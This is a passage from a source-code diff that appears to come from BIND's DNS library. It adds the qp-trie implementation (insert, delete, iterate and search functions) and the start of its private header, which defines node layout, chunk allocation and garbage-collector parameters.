+	dns_qpmulti_t *multi = isc_mem_get(mctx, sizeof(*multi));
+	*multi = (dns_qpmulti_t){
+		.magic = QPMULTI_MAGIC,
+		.reader_ref = INVALID_REF,
+	};
+	isc_mutex_init(&multi->mutex);
+	ISC_LIST_INIT(multi->snapshots);
+	/*
+	 * Do not waste effort allocating a bump chunk that will be thrown
+	 * away when a transaction is opened. dns_qpmulti_update() always
+	 * allocates; to ensure dns_qpmulti_write() does too, pretend the
+	 * previous transaction was an update
+	 */
+	dns_qp_t *qp = &multi->writer;
+	QP_INIT(qp, methods, uctx);
+	isc_mem_attach(mctx, &qp->mctx);
+	qp->transaction_mode = QP_UPDATE;
+	TRACE("");
+	*qpmp = multi;
+}
+
+static void
+destroy_guts(dns_qp_t *qp) {
+	if (qp->chunk_max == 0) {
+		return;
+	}
+	for (qp_chunk_t chunk = 0; chunk < qp->chunk_max; chunk++) {
+		if (qp->base->ptr[chunk] != NULL) {
+			chunk_free(qp, chunk);
+		}
+	}
+	ENSURE(qp->used_count == 0);
+	ENSURE(qp->free_count == 0);
+	ENSURE(isc_refcount_current(&qp->base->refcount) == 1);
+	isc_mem_free(qp->mctx, qp->base);
+	isc_mem_free(qp->mctx, qp->usage);
+	qp->magic = 0;
+}
+
+void
+dns_qp_destroy(dns_qp_t **qptp) {
+	REQUIRE(qptp != NULL);
+	REQUIRE(QP_VALID(*qptp));
+
+	dns_qp_t *qp = *qptp;
+	*qptp = NULL;
+
+	/* do not try to destroy part of a dns_qpmulti_t */
+	REQUIRE(qp->transaction_mode == QP_NONE);
+
+	TRACE("");
+	destroy_guts(qp);
+	isc_mem_putanddetach(&qp->mctx, qp, sizeof(*qp));
+}
+
+static void
+qpmulti_destroy_cb(struct rcu_head *arg) {
+	qp_rcuctx_t *rcuctx = caa_container_of(arg, qp_rcuctx_t, rcu_head);
+	REQUIRE(QPRCU_VALID(rcuctx));
+	/* only nonzero for reclaim_chunks_cb() */
+	REQUIRE(rcuctx->count == 0);
+
+	dns_qpmulti_t *multi = rcuctx->multi;
+	REQUIRE(QPMULTI_VALID(multi));
+
+	/* reassure thread sanitizer */
+	LOCK(&multi->mutex);
+
+	dns_qp_t *qp = &multi->writer;
+	REQUIRE(QP_VALID(qp));
+
+	destroy_guts(qp);
+
+	UNLOCK(&multi->mutex);
+
+	isc_mutex_destroy(&multi->mutex);
+	isc_mem_putanddetach(&rcuctx->mctx, rcuctx,
+			     STRUCT_FLEX_SIZE(rcuctx, chunk, rcuctx->count));
+	isc_mem_putanddetach(&qp->mctx, multi, sizeof(*multi));
+}
+
+void
+dns_qpmulti_destroy(dns_qpmulti_t **qpmp) {
+	dns_qp_t *qp = NULL;
+	dns_qpmulti_t *multi = NULL;
+	qp_rcuctx_t *rcuctx = NULL;
+
+	REQUIRE(qpmp != NULL);
+	REQUIRE(QPMULTI_VALID(*qpmp));
+
+	multi = *qpmp;
+	qp = &multi->writer;
+	*qpmp = NULL;
+
+	REQUIRE(QP_VALID(qp));
+	REQUIRE(multi->rollback == NULL);
+	REQUIRE(ISC_LIST_EMPTY(multi->snapshots));
+
+	rcuctx = isc_mem_get(qp->mctx, STRUCT_FLEX_SIZE(rcuctx, chunk, 0));
+	*rcuctx = (qp_rcuctx_t){
+		.magic = QPRCU_MAGIC,
+		.multi = multi,
+	};
+	isc_mem_attach(qp->mctx, &rcuctx->mctx);
+	call_rcu(&rcuctx->rcu_head, qpmulti_destroy_cb);
+}
+
+/***********************************************************************
+ *
+ *  modification
+ */
+
+isc_result_t
+dns_qp_insert(dns_qp_t *qp, void *pval, uint32_t ival) {
+	qp_ref_t new_ref, old_ref;
+	qp_node_t new_leaf, old_node;
+	qp_node_t *new_twigs = NULL, *old_twigs = NULL;
+	qp_shift_t new_bit, old_bit;
+	qp_weight_t old_size, new_size;
+	dns_qpkey_t new_key, old_key;
+	size_t new_keylen, old_keylen;
+	size_t offset;
+	uint64_t index;
+	qp_shift_t bit;
+	qp_weight_t pos;
+	qp_node_t *n = NULL;
+
+	REQUIRE(QP_VALID(qp));
+
+	new_leaf = make_leaf(pval, ival);
+	new_keylen = leaf_qpkey(qp, &new_leaf, new_key);
+
+	/* first leaf in an empty trie? */
+	if (qp->leaf_count == 0) {
+		new_ref = alloc_twigs(qp, 1);
+		new_twigs = ref_ptr(qp, new_ref);
+		*new_twigs = new_leaf;
+		attach_leaf(qp, new_twigs);
+		qp->leaf_count++;
+		qp->root_ref = new_ref;
+		return (ISC_R_SUCCESS);
+	}
+
+	/*
+	 * We need to keep searching down to a leaf even if our key is
+	 * missing from this branch. It doesn't matter which twig we
+	 * choose since the keys are all the same up to this node's
+	 * offset. Note that if we simply use branch_twig_pos(n, bit)
+	 * we may get an out-of-bounds access if our bit is greater
+	 * than all the set bits in the node.
+	 */
+	n = ref_ptr(qp, qp->root_ref);
+	while (is_branch(n)) {
+		prefetch_twigs(qp, n);
+		bit = branch_keybit(n, new_key, new_keylen);
+		pos = branch_has_twig(n, bit) ? branch_twig_pos(n, bit) : 0;
+		n = branch_twigs_vector(qp, n) + pos;
+	}
+
+	/* do the keys differ, and if so, where? */
+	old_keylen = leaf_qpkey(qp, n, old_key);
+	offset = qpkey_compare(new_key, new_keylen, old_key, old_keylen);
+	if (offset == QPKEY_EQUAL) {
+		return (ISC_R_EXISTS);
+	}
+	new_bit = qpkey_bit(new_key, new_keylen, offset);
+	old_bit = qpkey_bit(old_key, old_keylen, offset);
+
+	/* find where to insert a branch or grow an existing branch. */
+	n = make_root_mutable(qp);
+	while (is_branch(n)) {
+		prefetch_twigs(qp, n);
+		if (offset < branch_key_offset(n)) {
+			goto newbranch;
+		}
+		if (offset == branch_key_offset(n)) {
+			goto growbranch;
+		}
+		make_twigs_mutable(qp, n);
+		bit = branch_keybit(n, new_key, new_keylen);
+		INSIST(branch_has_twig(n, bit));
+		n = branch_twig_ptr(qp, n, bit);
+	}
+	/* fall through */
+
+newbranch:
+	new_ref = alloc_twigs(qp, 2);
+	new_twigs = ref_ptr(qp, new_ref);
+
+	/* save before overwriting. */
+	old_node = *n;
+
+	/* new branch node takes old node's place */
+	index = BRANCH_TAG | (1ULL << new_bit) | (1ULL << old_bit) |
+		((uint64_t)offset << SHIFT_OFFSET);
+	*n = make_node(index, new_ref);
+
+	/* populate twigs */
+	new_twigs[old_bit > new_bit] = old_node;
+	new_twigs[new_bit > old_bit] = new_leaf;
+
+	attach_leaf(qp, &new_leaf);
+	qp->leaf_count++;
+
+	return (ISC_R_SUCCESS);
+
+growbranch:
+	INSIST(!branch_has_twig(n, new_bit));
+
+	/* locate twigs vectors */
+	old_size = branch_twigs_size(n);
+	new_size = old_size + 1;
+	old_ref = branch_twigs_ref(n);
+	new_ref = alloc_twigs(qp, new_size);
+	old_twigs = ref_ptr(qp, old_ref);
+	new_twigs = ref_ptr(qp, new_ref);
+
+	/* embiggen branch node */
+	index = branch_index(n) | (1ULL << new_bit);
+	*n = make_node(index, new_ref);
+
+	/* embiggen twigs vector */
+	pos = branch_twig_pos(n, new_bit);
+	move_twigs(new_twigs, old_twigs, pos);
+	new_twigs[pos] = new_leaf;
+	move_twigs(new_twigs + pos + 1, old_twigs + pos, old_size - pos);
+
+	if (squash_twigs(qp, old_ref, old_size)) {
+		/* old twigs destroyed, only attach to new leaf */
+		attach_leaf(qp, &new_leaf);
+	} else {
+		/* old twigs duplicated, attach to all leaves */
+		attach_twigs(qp, new_twigs, new_size);
+	}
+	qp->leaf_count++;
+
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dns_qp_deletekey(dns_qp_t *qp, const dns_qpkey_t search_key,
+		 size_t search_keylen, void **pval_r, uint32_t *ival_r) {
+	REQUIRE(QP_VALID(qp));
+	REQUIRE(search_keylen < sizeof(dns_qpkey_t));
+
+	if (get_root(qp) == NULL) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	qp_shift_t bit = 0; /* suppress warning */
+	qp_node_t *parent = NULL;
+	qp_node_t *n = make_root_mutable(qp);
+	while (is_branch(n)) {
+		prefetch_twigs(qp, n);
+		bit = branch_keybit(n, search_key, search_keylen);
+		if (!branch_has_twig(n, bit)) {
+			return (ISC_R_NOTFOUND);
+		}
+		make_twigs_mutable(qp, n);
+		parent = n;
+		n = branch_twig_ptr(qp, n, bit);
+	}
+
+	dns_qpkey_t found_key;
+	size_t found_keylen = leaf_qpkey(qp, n, found_key);
+	if (qpkey_compare(search_key, search_keylen, found_key, found_keylen) !=
+	    QPKEY_EQUAL)
+	{
+		return (ISC_R_NOTFOUND);
+	}
+
+	SET_IF_NOT_NULL(pval_r, leaf_pval(n));
+	SET_IF_NOT_NULL(ival_r, leaf_ival(n));
+	detach_leaf(qp, n);
+	qp->leaf_count--;
+
+	/* trie becomes empty */
+	if (qp->leaf_count == 0) {
+		INSIST(parent == NULL);
+		INSIST(n == get_root(qp));
+		free_twigs(qp, qp->root_ref, 1);
+		qp->root_ref = INVALID_REF;
+		return (ISC_R_SUCCESS);
+	}
+
+	/* step back to parent node */
+	n = parent;
+	parent = NULL;
+
+	INSIST(bit != 0);
+	qp_weight_t size = branch_twigs_size(n);
+	qp_weight_t pos = branch_twig_pos(n, bit);
+	qp_ref_t ref = branch_twigs_ref(n);
+	qp_node_t *twigs = ref_ptr(qp, ref);
+
+	if (size == 2) {
+		/*
+		 * move the other twig to the parent branch.
+		 */
+		*n = twigs[!pos];
+		squash_twigs(qp, ref, 2);
+	} else {
+		/*
+		 * shrink the twigs in place, to avoid using the bump
+		 * chunk too fast - the gc will clean up after us
+		 */
+		*n = make_node(branch_index(n) & ~(1ULL << bit), ref);
+		move_twigs(twigs + pos, twigs + pos + 1, size - pos - 1);
+		squash_twigs(qp, ref + size - 1, 1);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dns_qp_deletename(dns_qp_t *qp, const dns_name_t *name, void **pval_r,
+		  uint32_t *ival_r) {
+	dns_qpkey_t key;
+	size_t keylen = dns_qpkey_fromname(key, name);
+	return (dns_qp_deletekey(qp, key, keylen, pval_r, ival_r));
+}
+
+/***********************************************************************
+ *
+ *  iterate
+ */
+
+void
+dns_qpiter_init(dns_qpreadable_t qpr, dns_qpiter_t *qpi) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	REQUIRE(QP_VALID(qp));
+	REQUIRE(qpi != NULL);
+	qpi->magic = QPITER_MAGIC;
+	qpi->qp = qp;
+	qpi->sp = 0;
+	qpi->stack[qpi->sp].ref = qp->root_ref;
+	qpi->stack[qpi->sp].more = 0;
+}
+
+/*
+ * note: this function can go wrong when the iterator refers to
+ * a mutable view of the trie which is altered while iterating
+ */
+isc_result_t
+dns_qpiter_next(dns_qpiter_t *qpi, void **pval_r, uint32_t *ival_r) {
+	REQUIRE(QPITER_VALID(qpi));
+	REQUIRE(QP_VALID(qpi->qp));
+
+	dns_qpreader_t *qp = qpi->qp;
+
+	if (qpi->stack[qpi->sp].ref == INVALID_REF) {
+		INSIST(qpi->sp == 0);
+		qpi->magic = 0;
+		return (ISC_R_NOMORE);
+	}
+
+	/* push branch nodes onto the stack until we reach a leaf */
+	for (;;) {
+		qp_node_t *n = ref_ptr(qp, qpi->stack[qpi->sp].ref);
+		if (node_tag(n) == LEAF_TAG) {
+			SET_IF_NOT_NULL(pval_r, leaf_pval(n));
+			SET_IF_NOT_NULL(ival_r, leaf_ival(n));
+			break;
+		}
+		qpi->sp++;
+		INSIST(qpi->sp < DNS_QP_MAXKEY);
+		qpi->stack[qpi->sp].ref = branch_twigs_ref(n);
+		qpi->stack[qpi->sp].more = branch_twigs_size(n) - 1;
+	}
+
+	/* pop the stack until we find a twig with a successor */
+	while (qpi->sp > 0 && qpi->stack[qpi->sp].more == 0) {
+		qpi->sp--;
+	}
+
+	/* move across to the next twig */
+	if (qpi->stack[qpi->sp].more > 0) {
+		qpi->stack[qpi->sp].more--;
+		qpi->stack[qpi->sp].ref++;
+	} else {
+		INSIST(qpi->sp == 0);
+		qpi->stack[qpi->sp].ref = INVALID_REF;
+	}
+	return (ISC_R_SUCCESS);
+}
+
+/***********************************************************************
+ *
+ *  search
+ */
+
+isc_result_t
+dns_qp_getkey(dns_qpreadable_t qpr, const dns_qpkey_t search_key,
+	      size_t search_keylen, void **pval_r, uint32_t *ival_r) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	dns_qpkey_t found_key;
+	size_t found_keylen;
+	qp_shift_t bit;
+	qp_node_t *n = NULL;
+
+	REQUIRE(QP_VALID(qp));
+	REQUIRE(search_keylen < sizeof(dns_qpkey_t));
+
+	n = get_root(qp);
+	if (n == NULL) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	while (is_branch(n)) {
+		prefetch_twigs(qp, n);
+		bit = branch_keybit(n, search_key, search_keylen);
+		if (!branch_has_twig(n, bit)) {
+			return (ISC_R_NOTFOUND);
+		}
+		n = branch_twig_ptr(qp, n, bit);
+	}
+
+	found_keylen = leaf_qpkey(qp, n, found_key);
+	if (qpkey_compare(search_key, search_keylen, found_key, found_keylen) !=
+	    QPKEY_EQUAL)
+	{
+		return (ISC_R_NOTFOUND);
+	}
+
+	SET_IF_NOT_NULL(pval_r, leaf_pval(n));
+	SET_IF_NOT_NULL(ival_r, leaf_ival(n));
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dns_qp_getname(dns_qpreadable_t qpr, const dns_name_t *name, void **pval_r,
+	       uint32_t *ival_r) {
+	dns_qpkey_t key;
+	size_t keylen = dns_qpkey_fromname(key, name);
+	return (dns_qp_getkey(qpr, key, keylen, pval_r, ival_r));
+}
+
+isc_result_t
+dns_qp_findname_ancestor(dns_qpreadable_t qpr, const dns_name_t *name,
+			 dns_qpfind_t options, void **pval_r,
+			 uint32_t *ival_r) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	dns_qpkey_t search, found;
+	size_t searchlen, foundlen;
+	size_t offset;
+	qp_shift_t bit;
+	qp_node_t *n = NULL, *twigs = NULL;
+	isc_result_t result;
+	unsigned int labels = 0;
+	struct offref {
+		uint32_t off;
+		qp_ref_t ref;
+	} label[DNS_NAME_MAXLABELS];
+
+	REQUIRE(QP_VALID(qp));
+
+	searchlen = dns_qpkey_fromname(search, name);
+	if ((options & DNS_QPFIND_NOEXACT) != 0) {
+		searchlen = qpkey_trim_label(search, searchlen, searchlen);
+		result = DNS_R_PARTIALMATCH;
+	} else {
+		result = ISC_R_SUCCESS;
+	}
+
+	n = get_root(qp);
+	if (n == NULL) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	/*
+	 * Like `dns_qp_insert()`, we must find a leaf. However, we don't make a
+	 * second pass: instead, we keep track of any leaves with shorter keys
+	 * that we discover along the way. (In general, qp-trie searches can be
+	 * one-pass, by recording their traversal, or two-pass, for less stack
+	 * memory usage.)
+	 *
+	 * A shorter key that can be a parent domain always has a leaf node at
+	 * SHIFT_NOBYTE (indicating end of its key) where our search key has a
+	 * normal character immediately after a label separator. Note 1: It is
+	 * OK if `offset - 1` underflows: it will become SIZE_MAX, which is
+	 * greater than `searchlen`, so `qpkey_bit()` will return SHIFT_NOBYTE,
+	 * which is what we want when `offset == 0`. Note 2: Any SHIFT_NOBYTE
+	 * twig is always `twigs[0]`.
+	 */
+	while (is_branch(n)) {
+		prefetch_twigs(qp, n);
+		twigs = branch_twigs_vector(qp, n);
+		offset = branch_key_offset(n);
+		bit = qpkey_bit(search, searchlen, offset);
+		if (bit != SHIFT_NOBYTE && branch_has_twig(n, SHIFT_NOBYTE) &&
+		    qpkey_bit(search, searchlen, offset - 1) == SHIFT_NOBYTE &&
+		    !is_branch(&twigs[0]))
+		{
+			label[labels].off = offset;
+			label[labels].ref = branch_twigs_ref(n);
+			labels++;
+			INSIST(labels <= DNS_NAME_MAXLABELS);
+		}
+		if (branch_has_twig(n, bit)) {
+			n = branch_twig_ptr(qp, n, bit);
+		} else if (labels == 0) {
+			/* any twig will do */
+			n = &twigs[0];
+		} else {
+			n = ref_ptr(qp, label[labels - 1].ref);
+			break;
+		}
+	}
+
+	/* do the keys differ, and if so, where? */
+	foundlen = leaf_qpkey(qp, n, found);
+	offset = qpkey_compare(search, searchlen, found, foundlen);
+
+	if (offset == QPKEY_EQUAL || offset == foundlen) {
+		SET_IF_NOT_NULL(pval_r, leaf_pval(n));
+		SET_IF_NOT_NULL(ival_r, leaf_ival(n));
+		if (offset == QPKEY_EQUAL) {
+			return (result);
+		} else {
+			return (DNS_R_PARTIALMATCH);
+		}
+	}
+	while (labels-- > 0) {
+		if (offset > label[labels].off) {
+			n = ref_ptr(qp, label[labels].ref);
+			SET_IF_NOT_NULL(pval_r, leaf_pval(n));
+			SET_IF_NOT_NULL(ival_r, leaf_ival(n));
+			return (DNS_R_PARTIALMATCH);
+		}
+	}
+	return (ISC_R_NOTFOUND);
+}
+
+/**********************************************************************/
diff --git a/lib/dns/qp_p.h b/lib/dns/qp_p.h
new file mode 100644
index 0000000000..c0f69c3568
--- /dev/null
+++ b/lib/dns/qp_p.h
@@ -0,0 +1,966 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * For an overview, see doc/design/qp-trie.md
+ *
+ * This private header defines the internal data structures,
+ */
+
+#pragma once
+
+/***********************************************************************
+ *
+ *  interior node basics
+ */
+
+/*
+ * A qp-trie node is normally either a branch or a leaf. It consists of
+ * three 32-bit words into which the components are packed. They are used
+ * as a 64-bit word and a 32-bit word, but they are not declared like that
+ * to avoid unwanted padding, keeping the size down to 12 bytes. They are
+ * in native endian order so getting the 64-bit part should compile down to
+ * an unaligned load.
+ *
+ * The type of node is identified by the tag in the least significant bits
+ * of the 64-bit word.
+ *
+ * In a branch the 64-bit word is described by the enum below. The 32-bit
+ * word is a reference to the packed sparse vector of "twigs", i.e. child
+ * nodes. A branch node has at least 2 and less than SHIFT_OFFSET twigs
+ * (see the enum below). The qp-trie update functions ensure that branches
+ * actually branch, i.e. branches cannot have only 1 child.
+ *
+ * The contents of each leaf are set by the trie's user. The 64-bit word
+ * contains a pointer value (which must be word-aligned, so the tag bits
+ * are zero), and the 32-bit word is an arbitrary integer value.
+ *
+ * There is a third kind of node, reader nodes, which anchor the root of a
+ * trie. A pair of reader nodes together contain a packed `dns_qpreader_t`.
+ * See the section on "packed reader nodes" below.
+ */
+typedef struct qp_node {
+#if WORDS_BIGENDIAN
+	uint32_t bighi, biglo, small;
+#else
+	uint32_t biglo, bighi, small;
+#endif
+} qp_node_t;
+
+/*
+ * The possible values of the node type tag. Type tags must fit in two bits
+ * for compatibility with 4-byte pointer alignment on 32-bit systems.
+ */
+enum {
+	LEAF_TAG = 0,	/* leaf node */
+	BRANCH_TAG = 1, /* branch node */
+	READER_TAG = 2, /* reader node */
+	TAG_MASK = 3,	/* mask covering tag bits */
+};
+
+/*
+ * This code does not work on CPUs with large pointers, e.g. CHERI capability
+ * architectures. When porting to that kind of machine, a `dns_qpnode` should
+ * be just a `uintptr_t`; a leaf node will contain a single pointer, and a
+ * branch node will fit in the same space with room to spare.
+ */
+STATIC_ASSERT(sizeof(void *) <= sizeof(uint64_t),
+	      "pointers must fit in 64 bits");
+
+/*
+ * A branch node contains a 64-bit word comprising the type tag, the
+ * bitmap, and an offset into the key. It is called an "index word" because
+ * it describes how to access the twigs vector (think "database index").
+ * The following enum sets up the bit positions of these parts.
+ *
+ * In a leaf, the same 64-bit word contains a pointer. The pointer
+ * must be word-aligned so that the branch/leaf tag bit is zero.
+ * This requirement is checked by the newleaf() constructor.
+ *
+ * The bitmap is just above the type tag. The `bits_for_byte[]` table is
+ * used to fill in a key so that bit tests can work directly against the
+ * index word without superfluous masking or shifting; we don't need to
+ * mask out the bitmap before testing a bit, but we do need to mask the
+ * bitmap before calling popcount.
+ *
+ * The byte offset into the key is at the top of the word, so that it
+ * can be extracted with just a shift, with no masking needed.
+ *
+ * The names are SHIFT_thing because they are qp_shift_t values. (See
+ * below for the various `qp_*` type declarations.)
+ *
+ * These values are relatively fixed in practice: SHIFT_NOBYTE needs
+ * to leave space for the type tag, and the implementation of
+ * `dns_qpkey_fromname()` depends on the bitmap being large enough.
+ * The symbolic names avoid mystery numbers in the code.
+ */
+enum {
+	SHIFT_NOBYTE = 2,  /* label separator has no byte value */
+	SHIFT_BITMAP,	   /* many bits here */
+	SHIFT_OFFSET = 49, /* offset of byte in key */
+};
+
+/***********************************************************************
+ *
+ *  garbage collector tuning parameters
+ */
+
+/*
+ * A "cell" is a location that can contain a `qp_node_t`, and a "chunk"
+ * is a moderately large array of cells. A big trie can occupy
+ * multiple chunks. (Unlike other nodes, a trie's root node lives in
+ * its `struct dns_qp` instead of being allocated in a cell.)
+ *
+ * The qp-trie allocator hands out space for twigs vectors. Allocations are
+ * made sequentially from one of the chunks; this kind of "sequential
+ * allocator" is also known as a "bump allocator", so in `struct dns_qp`
+ * (see below) the allocation chunk is called `bump`.
+ */
+
+/*
+ * Number of cells in a chunk is a power of 2, which must have space for
+ * a full twigs vector (48 wide). When testing, use a much smaller chunk
+ * size to make the allocator work harder.
+ */
+#ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION
+#define QP_CHUNK_LOG 7
+#else
+#define QP_CHUNK_LOG 10
+#endif
+
+STATIC_ASSERT(6 <= QP_CHUNK_LOG && QP_CHUNK_LOG <= 20,
+	      "qp-trie chunk size is unreasonable");
+
+#define QP_CHUNK_SIZE  (1U << QP_CHUNK_LOG)
+#define QP_CHUNK_BYTES (QP_CHUNK_SIZE * sizeof(qp_node_t))
+
+/*
+ * We need a bitfield this big to count how much of a chunk is in use:
+ * it needs to count from 0 up to and including `1 << QP_CHUNK_LOG`.
+ */
+#define QP_USAGE_BITS (QP_CHUNK_LOG + 1)
+
+/*
+ * A chunk needs to be compacted if it is less full than this threshold.
+ * (12% overhead seems reasonable)
+ */
+#define QP_MAX_FREE (QP_CHUNK_SIZE / 8)
+#define QP_MIN_USED (QP_CHUNK_SIZE - QP_MAX_FREE)
+
+/*
+ * Compact automatically when we pass this threshold: when there is a lot
+ * of free space in absolute terms, and when we have freed more than half
+ * of the space we allocated.
+ *
+ * The current compaction algorithm scans the whole trie, so it is important
+ * to scale the threshold based on the size of the trie to avoid quadratic
+ * behaviour. XXXFANF find an algorithm that scans less of the trie!
+ *
+ * During a modification transaction, when we copy-on-write some twigs we
+ * count the old copy as "free", because they will be when the transaction
+ * commits. But they cannot be recovered immediately so they are also
+ * counted as on hold, and discounted when we decide whether to compact.
+ */
+#define QP_GC_HEURISTIC(qp, free) \
+	((free) > QP_CHUNK_SIZE * 4 && (free) > (qp)->used_count / 2)
+
+#define QP_NEEDGC(qp) QP_GC_HEURISTIC(qp, (qp)->free_count)
+#define QP_AUTOGC(qp) QP_GC_HEURISTIC(qp, (qp)->free_count - (qp)->hold_count)
+
+/*
+ * The chunk base and usage arrays are resized geometically and start off
+ * with two entries.
+ */
+#define GROWTH_FACTOR(size) ((size) + (size) / 2 + 2)
+
+/***********************************************************************
+ *
+ *  helper types
+ */
+
+/*
+ * C is not strict enough with its integer types for these typedefs to
+ * improve type safety, but it helps to have annotations saying what
+ * particular kind of number we are dealing with.
+ */
+
+/*
+ * The number or position of a bit inside a word. (0..63)
+ *
+ * Note: A dns_qpkey_t is logically an array of qp_shift_t values, but it
+ * isn't declared that way because dns_qpkey_t is a public type whereas
+ * qp_shift_t is private.
+ *
+ * A dns_qpkey element key[off] must satisfy
+ *
+ *	SHIFT_NOBYTE <= key[off] && key[off] < SHIFT_OFFSET
+ */
+typedef uint8_t qp_shift_t;
+
+/*
+ * The number of bits set in a word (as in Hamming weight or popcount)
+ * which is used for the position of a node in the packed sparse
+ * vector of twigs. (0..47) because our bitmap does not fill the word.
+ */
+typedef uint8_t qp_weight_t;
+
+/*
+ * A chunk number, i.e. an index into the chunk arrays.
+ */
+typedef uint32_t qp_chunk_t;
+
+/*
+ * Cell offset within a chunk, or a count of cells. Each cell in a
+ * chunk can contain a node.
+ */
+typedef uint32_t qp_cell_t;
+
+/*
+ * A twig reference is used to refer to a twigs vector, which occupies a
+ * contiguous group of cells.
+ */
+typedef uint32_t qp_ref_t;
+
+/*
+ * Constructors and accessors for qp_ref_t values, defined here to show
+ * how the qp_ref_t, qp_chunk_t, qp_cell_t types relate to each other
+ */
+
+static inline qp_ref_t
+make_ref(qp_chunk_t chunk, qp_cell_t cell) {
+	return (QP_CHUNK_SIZE * chunk + cell);
+}
+
+static inline qp_chunk_t
+ref_chunk(qp_ref_t ref) {
+	return (ref / QP_CHUNK_SIZE);
+}
+
+static inline qp_cell_t
+ref_cell(qp_ref_t ref) {
+	return (ref % QP_CHUNK_SIZE);
+}
+
+/*
+ * We should not use the `root_ref` in an empty trie, so we set it
+ * to a value that should trigger an obvious bug. See qp_init()
+ * and get_root() below.
+ */
+#define INVALID_REF ((qp_ref_t)~0UL)
+
+/***********************************************************************
+ *
+ *  chunk arrays
+ */
+
+/*
+ * A `dns_qp_t` contains two arrays holding information about each chunk.
+ *
+ * The `base` array holds pointers to the base of each chunk.
+ * The `usage` array hold the allocator's state for each chunk.
+ *
+ * The `base` array is used by the hot qp-trie traversal paths. It can
+ * be shared by multiple versions of a trie, which are tracked with a
+ * refcount. Old versions of the trie can retain old versions of the
+ * `base` array.
+ *
+ * In multithreaded code, the `usage` array is only used when the
+ * `dns_qpmulti_t` mutex is held, and there is only one version of
+ * it in active use (maybe with a snapshot for rollback support).
+ *
+ * The two arrays are separate because they have rather different
+ * access patterns, different lifetimes, and different element sizes.
+ */
+
+/*
+ * For most purposes we don't need to know exactly which cells are
+ * in use in a chunk, we only need to know how many of them there are.
+ *
+ * After we have finished allocating from a chunk, the `used` counter
+ * is the size we need to know for shrinking the chunk and for
+ * scanning it to detach leaf values before the chunk is free()d. The
+ * `free` counter tells us when the chunk needs compacting and when it
+ * has become empty.
+ *
+ * The `exists` flag allows the chunk scanning loops to look at the
+ * usage array only.
+ *
+ * In multithreaded code, we mark chunks as `immutable` when a modify
+ * transaction is opened. (We don't mark them immutable on commit,
+ * because the old bump chunk must remain mutable between write
+ * transactions, but it must become immutable when an update
+ * transaction is opened.)
+ *
+ * There are a few flags used to mark which chunks are still needed by
+ * snapshots after the chunks have passed their normal reclamation
+ * phase.
+ */
+typedef struct qp_usage {
+	/*% the allocation point, increases monotonically */
+	qp_cell_t used : QP_USAGE_BITS;
+	/*% count of nodes no longer needed, also monotonic */
+	qp_cell_t free : QP_USAGE_BITS;
+	/*% qp->base->ptr[chunk] != NULL */
+	bool exists : 1;
+	/*% is this chunk shared? [MT] */
+	bool immutable : 1;
+	/*% already subtracted from multi->*_count [MT] */
+	bool discounted : 1;
+	/*% is a snapshot using this chunk? [MT] */
+	bool snapshot : 1;
+	/*% tried to free it but a snapshot needs it [MT] */
+	bool snapfree : 1;
+	/*% for mark/sweep snapshot flag updates [MT] */
+	bool snapmark : 1;
+} qp_usage_t;
+
+/*
+ * The chunks are owned by the current version of the `base` array.
+ * When the array is resized, the old version might still be in use by
+ * concurrent readers, in which case it is free()d later when its
+ * refcount drops to zero.
+ *
+ * A `dns_qpbase_t` counts references from `dns_qp_t` objects and
+ * from packed readers, but not from `dns_qpread_t` nor from
+ * `dns_qpsnap_t` objects. Refcount adjustments for `dns_qpread_t`
+ * would wreck multicore scalability; instead we rely on RCU.
+ *
+ * The `usage` array determines when a chunk is no longer needed: old
+ * chunk pointers in old `base` arrays are ignored. (They can become
+ * dangling pointers to free memory, but they will never be
+ * dereferenced.)
+ *
+ * We ensure that individual chunk base pointers remain immutable
+ * after assignment, and they are not cleared until the chunk is
+ * free()d, after all readers have departed. Slots can be reused, and
+ * we allow transactions to fill or re-fill empty slots adjacent to
+ * busy slots that are in use by readers.
+ */
+struct dns_qpbase {
+	unsigned int magic;
+	isc_refcount_t refcount;
+	qp_node_t *ptr[];
+};
+
+/*
+ * Chunks that may be in use by readers are reclaimed asynchronously.
+ * When a transaction commits, immutable chunks that are now empty are
+ * listed in a `qp_rcuctx_t` structure and passed to `call_rcu()`.
+ */
+typedef struct qp_rcuctx {
+	unsigned int magic;
+	struct rcu_head rcu_head;
+	isc_mem_t *mctx;
+	dns_qpmulti_t *multi;
+	qp_chunk_t count;
+	qp_chunk_t chunk[];
+} qp_rcuctx_t;
+
+/*
+ * Returns true when the base array can be free()d.
+ */
+static inline bool
+qpbase_unref(dns_qpreadable_t qpr) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	return (qp->base != NULL &&
+		isc_refcount_decrement(&qp->base->refcount) == 1);
+}
+
+/*
+ * Now we know about `dns_qpreader_t` and `dns_qpbase_t`,
+ * here's how we convert a twig reference into a pointer.
+ */
+static inline qp_node_t *
+ref_ptr(dns_qpreadable_t qpr, qp_ref_t ref) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	return (qp->base->ptr[ref_chunk(ref)] + ref_cell(ref));
+}
+
+/***********************************************************************
+ *
+ *  main qp-trie structures
+ */
+
+#define QP_MAGIC       ISC_MAGIC('t', 'r', 'i', 'e')
+#define QPITER_MAGIC   ISC_MAGIC('q', 'p', 'i', 't')
+#define QPMULTI_MAGIC  ISC_MAGIC('q', 'p', 'm', 'v')
+#define QPREADER_MAGIC ISC_MAGIC('q', 'p', 'r', 'x')
+#define QPBASE_MAGIC   ISC_MAGIC('q', 'p', 'b', 'p')
+#define QPRCU_MAGIC    ISC_MAGIC('q', 'p', 'c', 'b')
+
